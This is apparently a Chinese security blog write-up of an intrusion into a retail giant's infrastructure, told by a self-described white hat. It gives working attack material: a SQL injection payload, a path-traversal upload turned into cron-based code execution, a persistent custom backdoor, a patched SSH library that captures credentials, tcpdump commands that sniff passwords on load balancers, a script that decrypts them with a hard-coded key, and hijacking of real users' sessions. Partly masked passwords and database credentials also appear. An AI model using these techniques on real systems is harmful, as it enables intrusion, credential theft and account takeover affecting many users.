一、前言
2023年,乌尔乌尔玛在《财富》世界500强中的排名为第一 ,而在2024年的《财富》世界500强排行榜中,乌尔乌尔玛再次蝉联榜首,这已经是乌尔乌尔玛连续第11年成为全球最大公司 。
围绕MITRE ATT&CK攻击矩阵开展渗透测试。实现某种意义上的打穿,甚至超越了打穿的存在,登录任意他人的三姆不要太轻松!放轻松,开始下面的测试过程。
二、基础设施接管
1. 侦察
在开始对wuerwuerXXX.cn子域名的收集过程中,发现了bcdr-ltm-mdc.wuerwuerXXX.cn,可以看到其标题为图标信息:
这个站点我开始以为是蜜罐,但通过服务端响应的 Server: XXXX Web Server ,在领英可以搜索到XXXX确实在该公司下!那么继续。
2.执行
网站上有三个功能(此处丢失了原始截图),均可无需认证使用!
-
• 查询域名配置
-
• 上传证书
-
• 传送证书到F5服务器
2.1 功能1-查询域名配置 【存在SQL注入】
永真时,吐出了全部的DNS记录, 为假时,响应为空。
获取全部数据库:
{"id":1,"value":"' UNION SELECT 'test1','test1','test1','test1','test1','test1','test1','test1','test1','test1',schema_name FROM information_schema.schemata #"}
得到:
{"dns": [], "f5": [{"F5": "test1", "VS_Name": "test1", "VIP": "test1", "VS_State": "test1", "poolName": "test1", "Pool_State": "test1", "member": "test1", "memberState": "test1", "Monitor": "test1", "vsStatusReason": "test1", "poolStatusReason": "information_schema"}, {"F5": "test1", "VS_Name": "test1", "VIP": "test1", "VS_State": "test1", "poolName": "test1", "Pool_State": "test1", "member": "test1", "memberState": "test1", "Monitor": "test1", "vsStatusReason": "test1", "poolStatusReason": "performance_schema"}, {"F5": "test1", "VS_Name": "test1", "VIP": "test1", "VS_State": "test1", "poolName": "test1", "Pool_State": "test1", "member": "test1", "memberState": "test1", "Monitor": "test1", "vsStatusReason": "test1", "poolStatusReason": "XXX"}]}
2.2 功能2-上传证书 【存在RCE】
报文如下:
POST /api/upload HTTP/1.1
...
Connection: keep-alive
------WebKitFormBoundarySic1u4YLI7mIlRgb
Content-Disposition: form-data; name="file[]"; filename="hello.png"
Content-Type: text/plain
XXPng
xxxxxx
------WebKitFormBoundarySic1u4YLI7mIlRgb--
响应:
[{"F5_Group": "0", "f5ip": "0", "enabled": "0", "vsIP": "0", "filename": "hello.png", "cnames": "hello.png"}]
这儿使用 ../hello.png参数,返回的结果为:
[{"F5_Group": "0", "f5ip": "0", "enabled": "0", "vsIP": "0", "filename": "../hello.png", "cnames": "../hello.png"}]
测试还发现filename字段不能太长,太长服务端无响应!
测试发现传输的内容中必须包含: 0x89, 挺奇怪的,这个是PNG头文件出现的东西:
知道上面两个坑点之后,确保使用短文件名+内容包含PNG头来进行测试。
继续深入测试路径穿越的问题:
-
• 测试 ../../tmp/1 , 响应成功
-
• 测试../../tmp/q/1, 响应失败
-
• 测试../../root/1, 响应成功
通过上述,能确认存在路径穿越,且路径存在时,响应成功!
那么直接写入定时任务:
等待1分钟后,再次测试../../tmp/q/1, 响应成功,代表这儿肯定是成功执行了命令,创建了目录!
接下来判断出网,并getshell
2.3 bashshell升级到jzshell
jzshell是自己写的大马:
-
• 支持文件读取
-
• 支持高交互的shell执行
-
• 支持inactive休眠
-
• 支持服务化、开机自启、进程保护
3.发现
3.1 主机网络信息
ss -anop
users:(("api_python",pid=59482,fd=208))
tcp ESTAB 0 0 10.233.48.46:40352 10.233.10.129:22 users:(("api_python",pid=59482,fd=351))
tcp ESTAB 0 0 10.233.48.46:53556 10.14.86.112:22 users:(("api_python",pid=59482,fd=231))
tcp ESTAB 0 0 127.0.0.1:48112 127.0.0.1:8989 users:(("webServers_rust",pid=59461,fd=293))
tcp CLOSE-WAIT 4 0 10.233.48.46:8080 10.88.196.55:4084 users:(("webServers_rust",pid=59461,fd=338))
tcp CLOSE-WAIT 6715 0 10.233.48.46:8080 10.14.138.243:51242 users:(("webServers_rust",pid=59461,fd=300))
tcp ESTAB 0 0 10.233.48.46:45382 10.233.10.129:22 users:(("api_python",pid=59482,fd=184))
tcp ESTAB 0 0 10.233.48.46:8080 10.88.96.140:24929 users:(("webServers_rust",pid=59461,fd=163))
tcp CLOSE-WAIT 62 0 10.233.48.46:8080 10.14.105.121:64343 users:(("webServers_rust",pid=59461,fd=29))
tcp ESTAB 0 0 10.233.48.46:53364 10.14.87.0:22 users:(("api_python",pid=59482,fd=347))
tcp ESTAB 0 0 127.0.0.1:44256 127.0.0.1:8989 users:(("webServers_rust",pid=59461,fd=36))
...etc
tcp ESTAB 0 0 10.233.48.46:38142 10.233.10.128:22 users:(("api_python",pid=59482,fd=309))
tcp ESTAB 0 0 10.233.48.46:57130 10.14.87.0:22 users:(("api_python",pid=59482,fd=19))
tcp ESTAB 0 0 10.233.48.46:58304 10.14.86.111:22 users:(("api_python",pid=59482,fd=370))
3.2 分析有价值的文件
全部的pfx(私钥+公钥):
3.3 查看进程
-
• 3306 -- mysql数据库
-
• 27017 -- mongo数据库 -- 无有价值的数据
-
• 8989 -- api端 api_python
-
• 8080 -- 前端 webServers_rust
3.4 总结信息
-
1. api_python当前连接了主机的mysql数据库
-
2. api_python当前连接了内网10网段20台以上的ssh端口
判断api_python存在凭证可以访问内网主机的SSH。,api_python大量连接了外部的SSH,代表这里面一定有集成的SSH管理功能。
同时查看了目录下文件夹,没有看到源码,接下来做一些逆向工作。
3.5 逆向api_python
根据前面响应的webserver可以看到是python3.11.3
安装python3.11.3、IDA
通过IDA逆向可以判断使用pyinstaller打包,使用pyinstxtractor工具解码为pyc, 拿到下面pyc:
pyc主要是字节码,正常来说可以使用uncompyle6直接获取源码,但字节码只支持到3.8版本。
刚好针对python的编译和反编译、反混淆,我写过一篇文章: https://mp.weixin.qq.com/s/92P3u7Eg9pDx-LVYQ9ejUg
首先逆向main.pyc, 得到伪代码:
from flask import Flask, request, render_template
import json
import f5_sqlyj
import run_sql
import dns.resolver as dns
import dns.reversename as dns
import time
import socket
import f5_updata_cer
import subprocess
app = Flask(__name__)
def is_valid_ipv4_address(address):
Unsupported opcode: PUSH_EXC_INFO
socket.inet_aton(address)
return True
# WARNING: Decompyle incomplete
def host_to_ip(domain):
Unsupported opcode: JUMP_BACKWARD
result = socket.getaddrinfo(domain, None, socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, socket.AI_CANONNAME)
# WARNING: Decompyle incomplete
Unsupported opcode: JUMP_BACKWARD
upload_file = (lambda : res = []files = request.files.getlist('file[]')# WARNING: Decompyle incomplete
)()
run_bcdr = (lambda : day = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())re = {
'code': '00000000',
'message': 'success',
'result': {
'healthStatus': 'ok',
'startTime': day,
'version': 'V2.10.0-20230511' } }json.dumps(re))()
Unsupported opcode: PUSH_EXC_INFO
run = (lambda : day = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())re = {
'message': 'err try',
'time': day }re_list = []data = json.loads(request.get_data(as_text = True))id = data.get('id')if id == 1:
host_ip = data.get('value')if is_valid_ipv4_address(host_ip):
ip = host_ipdomain_address = dns.reversename.from_address(ip)qtype = 'PTR'domain_name = str(dns.resolver.query(domain_address, qtype)[0])dnsinfo = {
'domain_name': domain_name,
'ip': ip }else:
(re_value, ip) = host_to_ip(host_ip)print(re_value, ip)dnsinfo = {
'domain_name': re_value,
'ip': ip }# WARNING: Decompyle incomplete
)()
if __name__ == '__main__':
print('0.0.0.0:8989')
app.run(host = '0.0.0.0', port = 8989, debug = True)
return None
return app.route('/api/f5', methods = [
'POST',
'GET'])
关键是在f5_updata_cer,继续反编译 f5_updata_cer.pyc:
import paramiko
import time
def sftpUpdata(host, filename):
Segmentation fault
发现报错了,换了一个解压pyinstaller的,解出来pyc也不行,读取f5_updata_cer.pyc后,存储为byteobject,依然无法解码。
想到还有一个更巧妙的方法,即通过动态加载的方式注入命令 或者 通过内存变量读取的技巧。
首先可以了解下paramiko连接ssh的方法:
import paramiko
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
hostname = '127.0.0.1'
port = 22
username = 'your_username'
password = 'your_password'
ssh_client.connect(hostname, port=port, username=username, password=password)
根据上述代码,可以构造如下:
mv cryptography cryptography_bak
mv nacl/ nacl_bak
mv bcrypt/ bcrypt_bak
mv paramiko paramiko_bak
python3.11 -m pip install cryptography
python3.11 -m pip install paramiko
cp /usr/local/lib/python3.11/site-packages/paramiko/ paramiko/
vi paramiko/client.py
'''
class SSHClient:
def __init__(self):
pass
def set_missing_host_key_policy(self, x):
print("set_missing_host_key_policy:")
print(x)
def connect(self,
hostname,
port=SSH_PORT,
username=None,
password=None,
pkey=None,
key_filename=None,
timeout=None,
allow_agent=True,
look_for_keys=True,
compress=False,
sock=None,
gss_auth=False,
gss_kex=False,
gss_deleg_creds=True,
gss_host=None,
banner_timeout=None,
auth_timeout=None,
channel_timeout=None,
gss_trust_dns=True,
passphrase=None,
disabled_algorithms=None,
transport_factory=None,
auth_strategy=None,):
print("connect:")
print(hostname, port, username, password)
def execute_evil_cmd(self,cmd_str):
# input your evil command
#class SSHClient(ClosingContextManager):
class SSHClient_test(ClosingContextManager):
'''
至此,魔改后的api_python或者通过拿到的密钥直接远程到其他F5主机!
针对sql文件的逆向:
query_ip = "SELECT CONCAXXXXate "
query_f5 = 'SELECT XXXORDER BY F5_Group'
query_ip_ref5 = "SELECT XXXX F5_Group"
def reSqlyj(yjid):
if yjid == 1:
return query_ip
if None == 2:
return query_f5
if None == 3:
return query_ip_ref5
import pymysql
def query_sql(x, sql, y = (0,)):
Unsupported opcode: JUMP_BACKWARD
if x == 1:
db = pymysql.connect(host = '10.233.72.110', user = 'XXXrt', password = 'wXXt666', database = 'zabbix')
elif x == 2:
db = pymysql.connect(host = '10.233.48.46', user = 'python', password = 'waXXXt666', database = 'ivan')
else:
print(1024)
cursor = db.cursor()
results = 1024
cursor.execute(sql)
results = cursor.fetchall()
def sql_reDist(x, sql):
Unsupported opcode: JUMP_BACKWARD
(res, des) = query_sql(x, sql, 1)
reList = []
4.横向控制+持久化控制
被控主机的网络信息:
-
• 公网:43.x.x.180
-
• 内网:10.233.48.46
功能定位:
-
• 维护全部F5主机的证书更新及相关配置
接下来开始横向,开始之前,我尝试理解F5的配置数据:
比如有如下配置:
{
"F5": "lb-cndc1o2o-5/6:10.14.80.177", # 所属负载
"VS_Name": "vs_caseupc-qa.wuerwuerXXX.cn_443", # 公网域名
"VIP": "103.49.13.108:443", # 公网IP
"VS_State": "enabled/available",
"poolName": "pool_caseupc-qa.wuerwuerXXX.cn_8081", # 内网域名
"Pool_State": "enabled/available",
"member": "10.233.55.95:8081", # 服务所在真实IP
"memberState": "up",
"Monitor": "tcp",
"vsStatusReason": "The virtual server is available",
"poolStatusReason": "The pool is available"
}
其中外网可以访问 caseupc-qa.wuerwuerXXX.cn,那么外部访问数据流是:
用户浏览器 -> caseupc-qa.wuerwuerXXX.cn - >103.49.13.108:443 -> 10.14.80.177(F5负载) -> 10.233.55.95:8081(真实主机)
-
• lb-cndc1o2o-5/6:10.14.80.177 (较多关键业务)
-
• lb-cnlabcloud1:10.14.87.0 (较多认证业务) – 看名字划分到云了
-
• lb-cnholab:10.14.87.50
-
• LB-CNDC2:10.14.86.112 – 看名字应该是数据中心2
-
• LB-CNDC1:10.233.3.205 – 看名字应该是数据中心1
-
• LB-CNDC1:10.233.10.129
最终决定选择控制节点:
-
• 10.14.87.50 wuerwuerXXXlab
-
• 10.233.10.129 wuerwuerXXXdc1
每个控制点上维持马, 最终构建出"多工"控制流,一设备双shell(交互shell、维持shell),多设备受控。
事实证明在多次明确告知和指导后,才把维持shell给请干净了,不得不说这套维持模式,还是非常牛逼的,没什么HIDS和NIDS特征。
5.收集
在完成横向控制关键设施和做好了维持控制之后,接下来就是游戏时间。
首先,已经完全接管了负载,而且也了解了基本全部域名的流量都会明文经过这些负载,那么可以通过流量分析的方式抓取关键口令、会话。
针对具体业务层系统再展开。
3. 外部业务系统漏洞挖掘(降维打击)
前置域名来的加密流量在这儿会解密为http流量转发到后端。
请记住,此刻这些F5服务器就是Burpsuite,可以在流量面板拿到会话和密钥!
1. SSO站点-flysky.wuerwuerXXX.cn
整理下SSO站点会经过哪台F5,然后有哪些关键的接口:
登录接口 userLoginVerify会带上账号名和密码,这个是需要抓取的目标。
在本地测试接口发现密码会进行加密,分析下, 首先在本地浏览器分析下登录流程:
断点位置:
return i = this.getUserId(),
this.loginParams = {
password: Object(B["b"])(this.form.password),
userId: i,
appId: Object(T["b"])("appId") || "A000001",
verifyCode: n
},
e= 'test'
t=null
function a(e, t) {
t = t || "bf960145b2a1338f";
var n = o.a.enc.Utf8.parse(t)
, r = o.a.enc.Utf8.parse(e)
, a = o.a.AES.encrypt(r, n, {
mode: o.a.mode.ECB,
padding: o.a.pad.Pkcs7
});
return a.toString()
}
写出解密代码:
from Crypto.Util.Padding import pad,unpad
import base64
def a(e, t="bf960145b2a1338f"):
key = t.encode('utf-8')
data = e.encode('utf-8')
cipher = AES.new(key, AES.MODE_ECB)
padded_data = pad(data, AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
encrypted_data_base64 = base64.b64encode(encrypted_data).decode('utf-8')
return encrypted_data_base64
def decrypt(encrypted_data_base64, t="bf960145b2a1338f"):
key = t.encode('utf-8')
encrypted_data = base64.b64decode(encrypted_data_base64)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(encrypted_data)
unpadded_data = unpad(decrypted_data, AES.block_size)
decrypted_text = unpadded_data.decode('utf-8')
return decrypted_text
可以看到经过177这台负载,那么直接横向过去, 抓取密码:
tcpdump -A -s0 -nnn -i any '(((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep 'password' > /var/tmp/8012_3.pcap
二次过滤:
[root@lb-cndc1o2ov-5:/S1-green-P::Active:In Sync] config # cat /tmp/8012_3.pcap | grep 'password":"' | grep -v 'function('
{"appName":"cims-h5","format":"json","param":{"storeId":"2XXX02","userId":"Y0XXXX2H","password":"0XXXX00XX000","deptId":""},"source":"cims-h5","version":"2.0.0","sign":"","timestamp":"1723XXX72602"}
{"password":"7WHXXXdao6w==","userId":"zXXX0t","appId":"A00XXX4","verifyCode":"7eea09aXXXX04ef7596f"},"ucappId":"A000004","source":"aloha_front_web","version":"6.5.0","timestamp":1723438648825,"sign":""}
{"appName":"portal","format":"json","param":{"password":"YBArfBXXXC854t5PM=","userId":"WOOSXXX6197","appId":"APXX355","verifyCode":"141eXXXc748372a3"},"ucappId":"AP000355","source":"aloha_front_web","version":"6.5.0","timestamp":1723438686539,"sign":""}
{"appName":"portal","format":"json","param":{"password":"C5jOnhXXXm6C854t5PM=","userId":"WOXXX5010","appId":"APXX355","verifyCode":"674bXXX1948a6"},"ucappId":"AP000355","source":"aloha_front_web","version":"6.5.0","timestamp":1723438818003,"sign":""}
{"appName":"portal","format":"json","param":{"password":"C5jOnhXXXXC854t5PM=","userId":"WOOSXXX10","appId":"AP0XX355","verifyCode":"d64eXXXXX0743788"},"ucappId":"AP000355","source":"aloha_front_web","version":"6.5.0","timestamp":1723438881368,"sign":""}
使用上面编写的解密脚本, 整理下抓到的口令:
WOOXXXX005010 WooXXXX05010
01XXXX0 HaXXXX0724
WOOXXXX197 WOOXXXX86197
2. LCAP平台-lcap.wuerwuerXXX.cn
同理,要挖掘lcap.wuerwuerXXX.cn的漏洞,通过查看F5配置也是经过177这台负载。
横向过来后,使用tcpdump抓包,这儿我自己写了一款工具,可以快速解析为bp可以repeat的报文,例如得到:
GET /mobile/dashboard HTTP/1.1
Host: lcap.wuerwuerXXX.cn
Connection: keepalive
X-Client-IP: 183.250.178.26
Cache-Layer: M
x-cdn-via: xmcm227:443,yancmp114:443
X-Cdn-Custom-Domain: lcap.wuerwuerXXX.cn
x-ff-client-ip: XXXXXXXXX
Region-Forward-For: XXXXXXXXX
kscdn: kc
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Android WebView";v="120"
sec-ch-ua-mobile: ?1
sec-ch-ua-platform: "Android"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 13; ANY-AN00 Build/HONORANY-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.193 Mobile Safari/537.36 Lark/7.23.6 LarkLocale/zh_CN ChannelName/Feishu TTWebView/1201130054413
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/heif,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-language: zh-Hans-CN
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Cookie: XXXXXXXXX
inner-identify: XXXXXXXXX
cdn: kc
x-cdn-server-domain: lcap.wuerwuerXXX.cn
x-req-layer: up
x-ksy-session-id: XXXXXXXXX
x-ksy-upstream-id: XXXXXXXXX
X-Real-IP: XXXXXXXXX
X-Forwarded-For: XXXXXXXXX
那么打开本地的浏览器,把抓到的Cookie替换本地浏览器的cookie后,访问 lcap.wuerwuerXXX.cn/mobile/dashboard,成功访问!
接下来,玩法太多了,首先可以挖掘垂直越权的问题!
IDOR
POST /wwwapi/Worksheet/XXXXd HTTP/1.1
Host: lcap.wuerwuerXXX.cn
Connection: keep-alive
{"worksheetId":"XXXX"}
SSRF
这儿在F5上过滤下参数名字包含url的,很快找到了:
POST /api/inXXXion/floXXXe/webHookTestRequest HTTP/1.1
Host: lcap.wuerwuerXXX.cn
{"processId":"XXXX","nodeId":"XXXX","method":1,"url":"https://xxxx.com","headers":[{"name":"1","value":"1","nodeId":""}],"body":"","formControls":[],"contentType":1,"settings":{"openSSL":false,"timeout":60,"maxRetries":0,"useProxy":false,"timeoutMill":60000}}
文件覆盖
需要覆盖的文件key作为参数,拿到STS后,即可覆盖已有的文件数据!
POST /XXX/XX/GetUploadToken HTTP/1.1
Host: lcap.wuerwuerXXX.cn
3. 登陆他人的三姆APP、小程序、等等!
原理同上,抓取session,本地替换,即可!别太轻松!
4. 内网系统权限接管(降维打击)
1. 代码平台、DevOps平台、知识库平台、K8s等等!
玩法1: 抓取口令,密码喷洒 (比较蠢)
玩法2: 原理同上,抓取session,直接套用身份!
如果你读到了这里,你能理解目前我拥有的是,如此恐怖的高权限,没有任何网络限制、没有任何权限限制!
5. 再次横向提权到更高级的位置
打业务
如果目的是单纯的挖掘外部业务系统的漏洞,那么目标是,尽可能获取:
-
• 流量接口
-
• 口令密码
-
• 源代码
有了上面三个东西,挖掘漏洞不要太简单,就如上面LCAP证明的那样,不到1个小时的测试时间,出了三个漏洞,其中ssrf更是仅通过在流量中过滤url参数,不到5分钟即发现!
打控制
但是如果目的是更隐蔽、更高权限的全局控制,不满足在流量层面的控制,那么目标是,尽可能获取:
-
• 内部口令
-
• VPN接入、网络接入
-
• K8s、ESXi集群接管
-
• 运维平台
注意,由于拥有全量的内网流量,上述提权会非常容易实现,只需要到上述内网域名对应的F5上抓取口令和会话即可!当然我并没有再深入!
跨域控制
一旦在本域内成为高管后,可以再横向到全球其他区域,肯定有网络打通的路径。
6. 总结
就上述的步骤而言,已经实现了:
-
• 以root权限控制大量服务器
-
• 中间人攻击 - 使用他人的会话访问站点、应用
-
• 三姆APP
-
• 沙琪玛微信小程序
-
• 1000+域名,等
-
• 抓取大量口令
-
• 任意接管内部研发平台、git等,轻松提权
-
• 任意实施定向的水坑攻击,通过向流量中注入恶意代码
-
• 访问沙琪玛域名时,可以篡改返回的安装程序、注入JS代码等
-
• 向客户端推送恶意更新
-
• 重定向到第三方钓鱼网站
对于专业人员而言,这个问题价值百万以上,应该不会有任何异议。
作为“白帽子”,第一时间还是想着提交给厂商,但离谱的是,外围漏洞修了,但我的维持马还一直在里面,使我依然可以实施上述攻击!
好事做到底,主动告知具体马儿的位置和进程后,马儿下线,呼,高估了~
但是!但是!F5的密钥我还有啊,只要再RCE任何一个业务节点,或者钓鱼成功,满足访问F5的22端口的条件,我又可以再次快速利用密钥横向提权到一个非常恐怖的权限位置,即可再次实施全局监控级别的中间人攻击!
于是提醒厂商记得把密钥改了!很好,至此,我完全断了自己的后路,无法再监控流量了!
当然,我也可以不告知厂商,因为利用这种监控的方式,获取口令、流量、源码挖掘漏洞真如喝水。正如上面证明的那样,1个小时就发现了3个高级问题以及一堆口令,1年挖个100个,薅台奔奔开开问题不大。
或者说我足够愚蠢、或者说过于理想,无论如何,我知道这不是我该赚的钱,不是为我预备的,留给该赚的人。
但我在思考,厂商们会为外部业务上的漏洞付费,但是不愿意为这种有价值的测试付费,认为这都是利用了正常的功能!
但是一个匿名者,利用"正常功能",可以以任意他人的身份访问三姆app、后台仓管、营销、开发等系统, 可以监控篡改流量,且神不知鬼不觉,也只能庆幸是“白帽子”会有这么单纯,花费这么多业余时间去帮助修复"正常功能"吧!分币不赚,纯靠打鸡血~
思来想去感觉还是自己自作多情了,他们只是打工的,并不直接对安全负责,选择慢慢交洞,双赢,一个有工作业绩,一个能赚米,没必要一下桶一个这么顶的东西,因为没有人在乎真正的安全价值,别出事就行,你交上去,你还得要负责,人家还得增加工作量,双输,少整点狠活。
so,不要内耗,不要给自己打上“白帽子”的标签,不要过于理想化,不然只会显得自己很蠢。不要天真的以为他们会在乎真正的安全和看到价值去为你争取应得的奖励,你和他们什么人情关系,人家凭什么?把"他们"当成人机就好,永远会按着死板的规则去平衡他们自己的利益。多少次失望和痛苦才看穿了人性,保守善良,但时刻考虑最坏的情况。真正有价值的东西,需要珍惜,勿乱提交,谨记。愿你蒙福!
原文始发于微信公众号(Art Of Hunting):[AOH 032][世界五百强第1位][零售巨头]从基础设施到任意业务系统接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论